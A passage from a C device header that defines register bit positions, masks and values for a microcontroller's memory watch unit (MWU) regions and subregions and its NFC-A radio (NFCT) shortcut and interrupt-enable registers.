#define MWU_REGIONENCLR_PRGN0RA_Msk (0x1UL << MWU_REGIONENCLR_PRGN0RA_Pos) /*!< Bit mask of PRGN0RA field. */
#define MWU_REGIONENCLR_PRGN0RA_Disabled (0UL) /*!< Read access watch in this PREGION is disabled */
#define MWU_REGIONENCLR_PRGN0RA_Enabled (1UL) /*!< Read access watch in this PREGION is enabled */
#define MWU_REGIONENCLR_PRGN0RA_Clear (1UL) /*!< Disable read access watch in this PREGION */
/* Bit 24 : Disable write access watch in PREGION[0] */
#define MWU_REGIONENCLR_PRGN0WA_Pos (24UL) /*!< Position of PRGN0WA field. */
#define MWU_REGIONENCLR_PRGN0WA_Msk (0x1UL << MWU_REGIONENCLR_PRGN0WA_Pos) /*!< Bit mask of PRGN0WA field. */
#define MWU_REGIONENCLR_PRGN0WA_Disabled (0UL) /*!< Write access watch in this PREGION is disabled */
#define MWU_REGIONENCLR_PRGN0WA_Enabled (1UL) /*!< Write access watch in this PREGION is enabled */
#define MWU_REGIONENCLR_PRGN0WA_Clear (1UL) /*!< Disable write access watch in this PREGION */
/* Bit 7 : Disable read access watch in region[3] */
#define MWU_REGIONENCLR_RGN3RA_Pos (7UL) /*!< Position of RGN3RA field. */
#define MWU_REGIONENCLR_RGN3RA_Msk (0x1UL << MWU_REGIONENCLR_RGN3RA_Pos) /*!< Bit mask of RGN3RA field. */
#define MWU_REGIONENCLR_RGN3RA_Disabled (0UL) /*!< Read access watch in this region is disabled */
#define MWU_REGIONENCLR_RGN3RA_Enabled (1UL) /*!< Read access watch in this region is enabled */
#define MWU_REGIONENCLR_RGN3RA_Clear (1UL) /*!< Disable read access watch in this region */
/* Bit 6 : Disable write access watch in region[3] */
#define MWU_REGIONENCLR_RGN3WA_Pos (6UL) /*!< Position of RGN3WA field. */
#define MWU_REGIONENCLR_RGN3WA_Msk (0x1UL << MWU_REGIONENCLR_RGN3WA_Pos) /*!< Bit mask of RGN3WA field. */
#define MWU_REGIONENCLR_RGN3WA_Disabled (0UL) /*!< Write access watch in this region is disabled */
#define MWU_REGIONENCLR_RGN3WA_Enabled (1UL) /*!< Write access watch in this region is enabled */
#define MWU_REGIONENCLR_RGN3WA_Clear (1UL) /*!< Disable write access watch in this region */
/* Bit 5 : Disable read access watch in region[2] */
#define MWU_REGIONENCLR_RGN2RA_Pos (5UL) /*!< Position of RGN2RA field. */
#define MWU_REGIONENCLR_RGN2RA_Msk (0x1UL << MWU_REGIONENCLR_RGN2RA_Pos) /*!< Bit mask of RGN2RA field. */
#define MWU_REGIONENCLR_RGN2RA_Disabled (0UL) /*!< Read access watch in this region is disabled */
#define MWU_REGIONENCLR_RGN2RA_Enabled (1UL) /*!< Read access watch in this region is enabled */
#define MWU_REGIONENCLR_RGN2RA_Clear (1UL) /*!< Disable read access watch in this region */
/* Bit 4 : Disable write access watch in region[2] */
#define MWU_REGIONENCLR_RGN2WA_Pos (4UL) /*!< Position of RGN2WA field. */
#define MWU_REGIONENCLR_RGN2WA_Msk (0x1UL << MWU_REGIONENCLR_RGN2WA_Pos) /*!< Bit mask of RGN2WA field. */
#define MWU_REGIONENCLR_RGN2WA_Disabled (0UL) /*!< Write access watch in this region is disabled */
#define MWU_REGIONENCLR_RGN2WA_Enabled (1UL) /*!< Write access watch in this region is enabled */
#define MWU_REGIONENCLR_RGN2WA_Clear (1UL) /*!< Disable write access watch in this region */
/* Bit 3 : Disable read access watch in region[1] */
#define MWU_REGIONENCLR_RGN1RA_Pos (3UL) /*!< Position of RGN1RA field. */
#define MWU_REGIONENCLR_RGN1RA_Msk (0x1UL << MWU_REGIONENCLR_RGN1RA_Pos) /*!< Bit mask of RGN1RA field. */
#define MWU_REGIONENCLR_RGN1RA_Disabled (0UL) /*!< Read access watch in this region is disabled */
#define MWU_REGIONENCLR_RGN1RA_Enabled (1UL) /*!< Read access watch in this region is enabled */
#define MWU_REGIONENCLR_RGN1RA_Clear (1UL) /*!< Disable read access watch in this region */
/* Bit 2 : Disable write access watch in region[1] */
#define MWU_REGIONENCLR_RGN1WA_Pos (2UL) /*!< Position of RGN1WA field. */
#define MWU_REGIONENCLR_RGN1WA_Msk (0x1UL << MWU_REGIONENCLR_RGN1WA_Pos) /*!< Bit mask of RGN1WA field. */
#define MWU_REGIONENCLR_RGN1WA_Disabled (0UL) /*!< Write access watch in this region is disabled */
#define MWU_REGIONENCLR_RGN1WA_Enabled (1UL) /*!< Write access watch in this region is enabled */
#define MWU_REGIONENCLR_RGN1WA_Clear (1UL) /*!< Disable write access watch in this region */
/* Bit 1 : Disable read access watch in region[0] */
#define MWU_REGIONENCLR_RGN0RA_Pos (1UL) /*!< Position of RGN0RA field. */
#define MWU_REGIONENCLR_RGN0RA_Msk (0x1UL << MWU_REGIONENCLR_RGN0RA_Pos) /*!< Bit mask of RGN0RA field. */
#define MWU_REGIONENCLR_RGN0RA_Disabled (0UL) /*!< Read access watch in this region is disabled */
#define MWU_REGIONENCLR_RGN0RA_Enabled (1UL) /*!< Read access watch in this region is enabled */
#define MWU_REGIONENCLR_RGN0RA_Clear (1UL) /*!< Disable read access watch in this region */
/* Bit 0 : Disable write access watch in region[0] */
#define MWU_REGIONENCLR_RGN0WA_Pos (0UL) /*!< Position of RGN0WA field. */
#define MWU_REGIONENCLR_RGN0WA_Msk (0x1UL << MWU_REGIONENCLR_RGN0WA_Pos) /*!< Bit mask of RGN0WA field. */
#define MWU_REGIONENCLR_RGN0WA_Disabled (0UL) /*!< Write access watch in this region is disabled */
#define MWU_REGIONENCLR_RGN0WA_Enabled (1UL) /*!< Write access watch in this region is enabled */
#define MWU_REGIONENCLR_RGN0WA_Clear (1UL) /*!< Disable write access watch in this region */
/* Register: MWU_REGION_START */
/* Description: Description cluster[0]: Start address for region 0 */
/* Bits 31..0 : Start address for region */
#define MWU_REGION_START_START_Pos (0UL) /*!< Position of START field. */
#define MWU_REGION_START_START_Msk (0xFFFFFFFFUL << MWU_REGION_START_START_Pos) /*!< Bit mask of START field. */
/* Register: MWU_REGION_END */
/* Description: Description cluster[0]: End address of region 0 */
/* Bits 31..0 : End address of region. */
#define MWU_REGION_END_END_Pos (0UL) /*!< Position of END field. */
#define MWU_REGION_END_END_Msk (0xFFFFFFFFUL << MWU_REGION_END_END_Pos) /*!< Bit mask of END field. */
/* Register: MWU_PREGION_START */
/* Description: Description cluster[0]: Reserved for future use */
/* Bits 31..0 : Reserved for future use */
#define MWU_PREGION_START_START_Pos (0UL) /*!< Position of START field. */
#define MWU_PREGION_START_START_Msk (0xFFFFFFFFUL << MWU_PREGION_START_START_Pos) /*!< Bit mask of START field. */
/* Register: MWU_PREGION_END */
/* Description: Description cluster[0]: Reserved for future use */
/* Bits 31..0 : Reserved for future use */
#define MWU_PREGION_END_END_Pos (0UL) /*!< Position of END field. */
#define MWU_PREGION_END_END_Msk (0xFFFFFFFFUL << MWU_PREGION_END_END_Pos) /*!< Bit mask of END field. */
/* Register: MWU_PREGION_SUBS */
/* Description: Description cluster[0]: Subregions of region 0 */
/* Bit 31 : Include or exclude subregion 31 in region */
#define MWU_PREGION_SUBS_SR31_Pos (31UL) /*!< Position of SR31 field. */
#define MWU_PREGION_SUBS_SR31_Msk (0x1UL << MWU_PREGION_SUBS_SR31_Pos) /*!< Bit mask of SR31 field. */
#define MWU_PREGION_SUBS_SR31_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR31_Include (1UL) /*!< Include */
/* Bit 30 : Include or exclude subregion 30 in region */
#define MWU_PREGION_SUBS_SR30_Pos (30UL) /*!< Position of SR30 field. */
#define MWU_PREGION_SUBS_SR30_Msk (0x1UL << MWU_PREGION_SUBS_SR30_Pos) /*!< Bit mask of SR30 field. */
#define MWU_PREGION_SUBS_SR30_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR30_Include (1UL) /*!< Include */
/* Bit 29 : Include or exclude subregion 29 in region */
#define MWU_PREGION_SUBS_SR29_Pos (29UL) /*!< Position of SR29 field. */
#define MWU_PREGION_SUBS_SR29_Msk (0x1UL << MWU_PREGION_SUBS_SR29_Pos) /*!< Bit mask of SR29 field. */
#define MWU_PREGION_SUBS_SR29_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR29_Include (1UL) /*!< Include */
/* Bit 28 : Include or exclude subregion 28 in region */
#define MWU_PREGION_SUBS_SR28_Pos (28UL) /*!< Position of SR28 field. */
#define MWU_PREGION_SUBS_SR28_Msk (0x1UL << MWU_PREGION_SUBS_SR28_Pos) /*!< Bit mask of SR28 field. */
#define MWU_PREGION_SUBS_SR28_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR28_Include (1UL) /*!< Include */
/* Bit 27 : Include or exclude subregion 27 in region */
#define MWU_PREGION_SUBS_SR27_Pos (27UL) /*!< Position of SR27 field. */
#define MWU_PREGION_SUBS_SR27_Msk (0x1UL << MWU_PREGION_SUBS_SR27_Pos) /*!< Bit mask of SR27 field. */
#define MWU_PREGION_SUBS_SR27_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR27_Include (1UL) /*!< Include */
/* Bit 26 : Include or exclude subregion 26 in region */
#define MWU_PREGION_SUBS_SR26_Pos (26UL) /*!< Position of SR26 field. */
#define MWU_PREGION_SUBS_SR26_Msk (0x1UL << MWU_PREGION_SUBS_SR26_Pos) /*!< Bit mask of SR26 field. */
#define MWU_PREGION_SUBS_SR26_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR26_Include (1UL) /*!< Include */
/* Bit 25 : Include or exclude subregion 25 in region */
#define MWU_PREGION_SUBS_SR25_Pos (25UL) /*!< Position of SR25 field. */
#define MWU_PREGION_SUBS_SR25_Msk (0x1UL << MWU_PREGION_SUBS_SR25_Pos) /*!< Bit mask of SR25 field. */
#define MWU_PREGION_SUBS_SR25_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR25_Include (1UL) /*!< Include */
/* Bit 24 : Include or exclude subregion 24 in region */
#define MWU_PREGION_SUBS_SR24_Pos (24UL) /*!< Position of SR24 field. */
#define MWU_PREGION_SUBS_SR24_Msk (0x1UL << MWU_PREGION_SUBS_SR24_Pos) /*!< Bit mask of SR24 field. */
#define MWU_PREGION_SUBS_SR24_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR24_Include (1UL) /*!< Include */
/* Bit 23 : Include or exclude subregion 23 in region */
#define MWU_PREGION_SUBS_SR23_Pos (23UL) /*!< Position of SR23 field. */
#define MWU_PREGION_SUBS_SR23_Msk (0x1UL << MWU_PREGION_SUBS_SR23_Pos) /*!< Bit mask of SR23 field. */
#define MWU_PREGION_SUBS_SR23_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR23_Include (1UL) /*!< Include */
/* Bit 22 : Include or exclude subregion 22 in region */
#define MWU_PREGION_SUBS_SR22_Pos (22UL) /*!< Position of SR22 field. */
#define MWU_PREGION_SUBS_SR22_Msk (0x1UL << MWU_PREGION_SUBS_SR22_Pos) /*!< Bit mask of SR22 field. */
#define MWU_PREGION_SUBS_SR22_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR22_Include (1UL) /*!< Include */
/* Bit 21 : Include or exclude subregion 21 in region */
#define MWU_PREGION_SUBS_SR21_Pos (21UL) /*!< Position of SR21 field. */
#define MWU_PREGION_SUBS_SR21_Msk (0x1UL << MWU_PREGION_SUBS_SR21_Pos) /*!< Bit mask of SR21 field. */
#define MWU_PREGION_SUBS_SR21_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR21_Include (1UL) /*!< Include */
/* Bit 20 : Include or exclude subregion 20 in region */
#define MWU_PREGION_SUBS_SR20_Pos (20UL) /*!< Position of SR20 field. */
#define MWU_PREGION_SUBS_SR20_Msk (0x1UL << MWU_PREGION_SUBS_SR20_Pos) /*!< Bit mask of SR20 field. */
#define MWU_PREGION_SUBS_SR20_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR20_Include (1UL) /*!< Include */
/* Bit 19 : Include or exclude subregion 19 in region */
#define MWU_PREGION_SUBS_SR19_Pos (19UL) /*!< Position of SR19 field. */
#define MWU_PREGION_SUBS_SR19_Msk (0x1UL << MWU_PREGION_SUBS_SR19_Pos) /*!< Bit mask of SR19 field. */
#define MWU_PREGION_SUBS_SR19_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR19_Include (1UL) /*!< Include */
/* Bit 18 : Include or exclude subregion 18 in region */
#define MWU_PREGION_SUBS_SR18_Pos (18UL) /*!< Position of SR18 field. */
#define MWU_PREGION_SUBS_SR18_Msk (0x1UL << MWU_PREGION_SUBS_SR18_Pos) /*!< Bit mask of SR18 field. */
#define MWU_PREGION_SUBS_SR18_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR18_Include (1UL) /*!< Include */
/* Bit 17 : Include or exclude subregion 17 in region */
#define MWU_PREGION_SUBS_SR17_Pos (17UL) /*!< Position of SR17 field. */
#define MWU_PREGION_SUBS_SR17_Msk (0x1UL << MWU_PREGION_SUBS_SR17_Pos) /*!< Bit mask of SR17 field. */
#define MWU_PREGION_SUBS_SR17_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR17_Include (1UL) /*!< Include */
/* Bit 16 : Include or exclude subregion 16 in region */
#define MWU_PREGION_SUBS_SR16_Pos (16UL) /*!< Position of SR16 field. */
#define MWU_PREGION_SUBS_SR16_Msk (0x1UL << MWU_PREGION_SUBS_SR16_Pos) /*!< Bit mask of SR16 field. */
#define MWU_PREGION_SUBS_SR16_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR16_Include (1UL) /*!< Include */
/* Bit 15 : Include or exclude subregion 15 in region */
#define MWU_PREGION_SUBS_SR15_Pos (15UL) /*!< Position of SR15 field. */
#define MWU_PREGION_SUBS_SR15_Msk (0x1UL << MWU_PREGION_SUBS_SR15_Pos) /*!< Bit mask of SR15 field. */
#define MWU_PREGION_SUBS_SR15_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR15_Include (1UL) /*!< Include */
/* Bit 14 : Include or exclude subregion 14 in region */
#define MWU_PREGION_SUBS_SR14_Pos (14UL) /*!< Position of SR14 field. */
#define MWU_PREGION_SUBS_SR14_Msk (0x1UL << MWU_PREGION_SUBS_SR14_Pos) /*!< Bit mask of SR14 field. */
#define MWU_PREGION_SUBS_SR14_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR14_Include (1UL) /*!< Include */
/* Bit 13 : Include or exclude subregion 13 in region */
#define MWU_PREGION_SUBS_SR13_Pos (13UL) /*!< Position of SR13 field. */
#define MWU_PREGION_SUBS_SR13_Msk (0x1UL << MWU_PREGION_SUBS_SR13_Pos) /*!< Bit mask of SR13 field. */
#define MWU_PREGION_SUBS_SR13_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR13_Include (1UL) /*!< Include */
/* Bit 12 : Include or exclude subregion 12 in region */
#define MWU_PREGION_SUBS_SR12_Pos (12UL) /*!< Position of SR12 field. */
#define MWU_PREGION_SUBS_SR12_Msk (0x1UL << MWU_PREGION_SUBS_SR12_Pos) /*!< Bit mask of SR12 field. */
#define MWU_PREGION_SUBS_SR12_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR12_Include (1UL) /*!< Include */
/* Bit 11 : Include or exclude subregion 11 in region */
#define MWU_PREGION_SUBS_SR11_Pos (11UL) /*!< Position of SR11 field. */
#define MWU_PREGION_SUBS_SR11_Msk (0x1UL << MWU_PREGION_SUBS_SR11_Pos) /*!< Bit mask of SR11 field. */
#define MWU_PREGION_SUBS_SR11_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR11_Include (1UL) /*!< Include */
/* Bit 10 : Include or exclude subregion 10 in region */
#define MWU_PREGION_SUBS_SR10_Pos (10UL) /*!< Position of SR10 field. */
#define MWU_PREGION_SUBS_SR10_Msk (0x1UL << MWU_PREGION_SUBS_SR10_Pos) /*!< Bit mask of SR10 field. */
#define MWU_PREGION_SUBS_SR10_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR10_Include (1UL) /*!< Include */
/* Bit 9 : Include or exclude subregion 9 in region */
#define MWU_PREGION_SUBS_SR9_Pos (9UL) /*!< Position of SR9 field. */
#define MWU_PREGION_SUBS_SR9_Msk (0x1UL << MWU_PREGION_SUBS_SR9_Pos) /*!< Bit mask of SR9 field. */
#define MWU_PREGION_SUBS_SR9_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR9_Include (1UL) /*!< Include */
/* Bit 8 : Include or exclude subregion 8 in region */
#define MWU_PREGION_SUBS_SR8_Pos (8UL) /*!< Position of SR8 field. */
#define MWU_PREGION_SUBS_SR8_Msk (0x1UL << MWU_PREGION_SUBS_SR8_Pos) /*!< Bit mask of SR8 field. */
#define MWU_PREGION_SUBS_SR8_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR8_Include (1UL) /*!< Include */
/* Bit 7 : Include or exclude subregion 7 in region */
#define MWU_PREGION_SUBS_SR7_Pos (7UL) /*!< Position of SR7 field. */
#define MWU_PREGION_SUBS_SR7_Msk (0x1UL << MWU_PREGION_SUBS_SR7_Pos) /*!< Bit mask of SR7 field. */
#define MWU_PREGION_SUBS_SR7_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR7_Include (1UL) /*!< Include */
/* Bit 6 : Include or exclude subregion 6 in region */
#define MWU_PREGION_SUBS_SR6_Pos (6UL) /*!< Position of SR6 field. */
#define MWU_PREGION_SUBS_SR6_Msk (0x1UL << MWU_PREGION_SUBS_SR6_Pos) /*!< Bit mask of SR6 field. */
#define MWU_PREGION_SUBS_SR6_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR6_Include (1UL) /*!< Include */
/* Bit 5 : Include or exclude subregion 5 in region */
#define MWU_PREGION_SUBS_SR5_Pos (5UL) /*!< Position of SR5 field. */
#define MWU_PREGION_SUBS_SR5_Msk (0x1UL << MWU_PREGION_SUBS_SR5_Pos) /*!< Bit mask of SR5 field. */
#define MWU_PREGION_SUBS_SR5_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR5_Include (1UL) /*!< Include */
/* Bit 4 : Include or exclude subregion 4 in region */
#define MWU_PREGION_SUBS_SR4_Pos (4UL) /*!< Position of SR4 field. */
#define MWU_PREGION_SUBS_SR4_Msk (0x1UL << MWU_PREGION_SUBS_SR4_Pos) /*!< Bit mask of SR4 field. */
#define MWU_PREGION_SUBS_SR4_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR4_Include (1UL) /*!< Include */
/* Bit 3 : Include or exclude subregion 3 in region */
#define MWU_PREGION_SUBS_SR3_Pos (3UL) /*!< Position of SR3 field. */
#define MWU_PREGION_SUBS_SR3_Msk (0x1UL << MWU_PREGION_SUBS_SR3_Pos) /*!< Bit mask of SR3 field. */
#define MWU_PREGION_SUBS_SR3_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR3_Include (1UL) /*!< Include */
/* Bit 2 : Include or exclude subregion 2 in region */
#define MWU_PREGION_SUBS_SR2_Pos (2UL) /*!< Position of SR2 field. */
#define MWU_PREGION_SUBS_SR2_Msk (0x1UL << MWU_PREGION_SUBS_SR2_Pos) /*!< Bit mask of SR2 field. */
#define MWU_PREGION_SUBS_SR2_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR2_Include (1UL) /*!< Include */
/* Bit 1 : Include or exclude subregion 1 in region */
#define MWU_PREGION_SUBS_SR1_Pos (1UL) /*!< Position of SR1 field. */
#define MWU_PREGION_SUBS_SR1_Msk (0x1UL << MWU_PREGION_SUBS_SR1_Pos) /*!< Bit mask of SR1 field. */
#define MWU_PREGION_SUBS_SR1_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR1_Include (1UL) /*!< Include */
/* Bit 0 : Include or exclude subregion 0 in region */
#define MWU_PREGION_SUBS_SR0_Pos (0UL) /*!< Position of SR0 field. */
#define MWU_PREGION_SUBS_SR0_Msk (0x1UL << MWU_PREGION_SUBS_SR0_Pos) /*!< Bit mask of SR0 field. */
#define MWU_PREGION_SUBS_SR0_Exclude (0UL) /*!< Exclude */
#define MWU_PREGION_SUBS_SR0_Include (1UL) /*!< Include */
/* Peripheral: NFCT */
/* Description: NFC-A compatible radio */
/* Register: NFCT_SHORTS */
/* Description: Shortcut register */
/* Bit 1 : Shortcut between FIELDLOST event and SENSE task */
#define NFCT_SHORTS_FIELDLOST_SENSE_Pos (1UL) /*!< Position of FIELDLOST_SENSE field. */
#define NFCT_SHORTS_FIELDLOST_SENSE_Msk (0x1UL << NFCT_SHORTS_FIELDLOST_SENSE_Pos) /*!< Bit mask of FIELDLOST_SENSE field. */
#define NFCT_SHORTS_FIELDLOST_SENSE_Disabled (0UL) /*!< Disable shortcut */
#define NFCT_SHORTS_FIELDLOST_SENSE_Enabled (1UL) /*!< Enable shortcut */
/* Bit 0 : Shortcut between FIELDDETECTED event and ACTIVATE task */
#define NFCT_SHORTS_FIELDDETECTED_ACTIVATE_Pos (0UL) /*!< Position of FIELDDETECTED_ACTIVATE field. */
#define NFCT_SHORTS_FIELDDETECTED_ACTIVATE_Msk (0x1UL << NFCT_SHORTS_FIELDDETECTED_ACTIVATE_Pos) /*!< Bit mask of FIELDDETECTED_ACTIVATE field. */
#define NFCT_SHORTS_FIELDDETECTED_ACTIVATE_Disabled (0UL) /*!< Disable shortcut */
#define NFCT_SHORTS_FIELDDETECTED_ACTIVATE_Enabled (1UL) /*!< Enable shortcut */
/* Register: NFCT_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 20 : Enable or disable interrupt for STARTED event */
#define NFCT_INTEN_STARTED_Pos (20UL) /*!< Position of STARTED field. */
#define NFCT_INTEN_STARTED_Msk (0x1UL << NFCT_INTEN_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define NFCT_INTEN_STARTED_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_STARTED_Enabled (1UL) /*!< Enable */
/* Bit 19 : Enable or disable interrupt for SELECTED event */
#define NFCT_INTEN_SELECTED_Pos (19UL) /*!< Position of SELECTED field. */
#define NFCT_INTEN_SELECTED_Msk (0x1UL << NFCT_INTEN_SELECTED_Pos) /*!< Bit mask of SELECTED field. */
#define NFCT_INTEN_SELECTED_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_SELECTED_Enabled (1UL) /*!< Enable */
/* Bit 18 : Enable or disable interrupt for COLLISION event */
#define NFCT_INTEN_COLLISION_Pos (18UL) /*!< Position of COLLISION field. */
#define NFCT_INTEN_COLLISION_Msk (0x1UL << NFCT_INTEN_COLLISION_Pos) /*!< Bit mask of COLLISION field. */
#define NFCT_INTEN_COLLISION_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_COLLISION_Enabled (1UL) /*!< Enable */
/* Bit 14 : Enable or disable interrupt for AUTOCOLRESSTARTED event */
#define NFCT_INTEN_AUTOCOLRESSTARTED_Pos (14UL) /*!< Position of AUTOCOLRESSTARTED field. */
#define NFCT_INTEN_AUTOCOLRESSTARTED_Msk (0x1UL << NFCT_INTEN_AUTOCOLRESSTARTED_Pos) /*!< Bit mask of AUTOCOLRESSTARTED field. */
#define NFCT_INTEN_AUTOCOLRESSTARTED_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_AUTOCOLRESSTARTED_Enabled (1UL) /*!< Enable */
/* Bit 12 : Enable or disable interrupt for ENDTX event */
#define NFCT_INTEN_ENDTX_Pos (12UL) /*!< Position of ENDTX field. */
#define NFCT_INTEN_ENDTX_Msk (0x1UL << NFCT_INTEN_ENDTX_Pos) /*!< Bit mask of ENDTX field. */
#define NFCT_INTEN_ENDTX_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_ENDTX_Enabled (1UL) /*!< Enable */
/* Bit 11 : Enable or disable interrupt for ENDRX event */
#define NFCT_INTEN_ENDRX_Pos (11UL) /*!< Position of ENDRX field. */
#define NFCT_INTEN_ENDRX_Msk (0x1UL << NFCT_INTEN_ENDRX_Pos) /*!< Bit mask of ENDRX field. */
#define NFCT_INTEN_ENDRX_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_ENDRX_Enabled (1UL) /*!< Enable */
/* Bit 10 : Enable or disable interrupt for RXERROR event */
#define NFCT_INTEN_RXERROR_Pos (10UL) /*!< Position of RXERROR field. */
#define NFCT_INTEN_RXERROR_Msk (0x1UL << NFCT_INTEN_RXERROR_Pos) /*!< Bit mask of RXERROR field. */
#define NFCT_INTEN_RXERROR_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_RXERROR_Enabled (1UL) /*!< Enable */
/* Bit 7 : Enable or disable interrupt for ERROR event */
#define NFCT_INTEN_ERROR_Pos (7UL) /*!< Position of ERROR field. */
#define NFCT_INTEN_ERROR_Msk (0x1UL << NFCT_INTEN_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define NFCT_INTEN_ERROR_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_ERROR_Enabled (1UL) /*!< Enable */
/* Bit 6 : Enable or disable interrupt for RXFRAMEEND event */
#define NFCT_INTEN_RXFRAMEEND_Pos (6UL) /*!< Position of RXFRAMEEND field. */
#define NFCT_INTEN_RXFRAMEEND_Msk (0x1UL << NFCT_INTEN_RXFRAMEEND_Pos) /*!< Bit mask of RXFRAMEEND field. */
#define NFCT_INTEN_RXFRAMEEND_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_RXFRAMEEND_Enabled (1UL) /*!< Enable */
/* Bit 5 : Enable or disable interrupt for RXFRAMESTART event */
#define NFCT_INTEN_RXFRAMESTART_Pos (5UL) /*!< Position of RXFRAMESTART field. */
#define NFCT_INTEN_RXFRAMESTART_Msk (0x1UL << NFCT_INTEN_RXFRAMESTART_Pos) /*!< Bit mask of RXFRAMESTART field. */
#define NFCT_INTEN_RXFRAMESTART_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_RXFRAMESTART_Enabled (1UL) /*!< Enable */
/* Bit 4 : Enable or disable interrupt for TXFRAMEEND event */
#define NFCT_INTEN_TXFRAMEEND_Pos (4UL) /*!< Position of TXFRAMEEND field. */
#define NFCT_INTEN_TXFRAMEEND_Msk (0x1UL << NFCT_INTEN_TXFRAMEEND_Pos) /*!< Bit mask of TXFRAMEEND field. */
#define NFCT_INTEN_TXFRAMEEND_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_TXFRAMEEND_Enabled (1UL) /*!< Enable */
/* Bit 3 : Enable or disable interrupt for TXFRAMESTART event */
#define NFCT_INTEN_TXFRAMESTART_Pos (3UL) /*!< Position of TXFRAMESTART field. */
#define NFCT_INTEN_TXFRAMESTART_Msk (0x1UL << NFCT_INTEN_TXFRAMESTART_Pos) /*!< Bit mask of TXFRAMESTART field. */
#define NFCT_INTEN_TXFRAMESTART_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_TXFRAMESTART_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable interrupt for FIELDLOST event */
#define NFCT_INTEN_FIELDLOST_Pos (2UL) /*!< Position of FIELDLOST field. */
#define NFCT_INTEN_FIELDLOST_Msk (0x1UL << NFCT_INTEN_FIELDLOST_Pos) /*!< Bit mask of FIELDLOST field. */
#define NFCT_INTEN_FIELDLOST_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_FIELDLOST_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for FIELDDETECTED event */
#define NFCT_INTEN_FIELDDETECTED_Pos (1UL) /*!< Position of FIELDDETECTED field. */
#define NFCT_INTEN_FIELDDETECTED_Msk (0x1UL << NFCT_INTEN_FIELDDETECTED_Pos) /*!< Bit mask of FIELDDETECTED field. */
#define NFCT_INTEN_FIELDDETECTED_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_FIELDDETECTED_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable interrupt for READY event */
#define NFCT_INTEN_READY_Pos (0UL) /*!< Position of READY field. */
#define NFCT_INTEN_READY_Msk (0x1UL << NFCT_INTEN_READY_Pos) /*!< Bit mask of READY field. */
#define NFCT_INTEN_READY_Disabled (0UL) /*!< Disable */
#define NFCT_INTEN_READY_Enabled (1UL) /*!< Enable */
/* Register: NFCT_INTENSET */
/* Description: Enable interrupt */
/* Bit 20 : Write '1' to Enable interrupt for STARTED event */
#define NFCT_INTENSET_STARTED_Pos (20UL) /*!< Position of STARTED field. */
#define NFCT_INTENSET_STARTED_Msk (0x1UL << NFCT_INTENSET_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define NFCT_INTENSET_STARTED_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_STARTED_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_STARTED_Set (1UL) /*!< Enable */
/* Bit 19 : Write '1' to Enable interrupt for SELECTED event */
#define NFCT_INTENSET_SELECTED_Pos (19UL) /*!< Position of SELECTED field. */
#define NFCT_INTENSET_SELECTED_Msk (0x1UL << NFCT_INTENSET_SELECTED_Pos) /*!< Bit mask of SELECTED field. */
#define NFCT_INTENSET_SELECTED_Disabled (0UL) /*!< Read: Disabled */
#define NFCT_INTENSET_SELECTED_Enabled (1UL) /*!< Read: Enabled */
#define NFCT_INTENSET_SELECTED_Set (1UL) /*!< Enable */
/* Bit 18 : Write '1' to Enable interrupt for COLLISION event */
#define NFCT_INTENSET_COLLISION_Pos (18UL) /*!< Position of COLLISION field. */
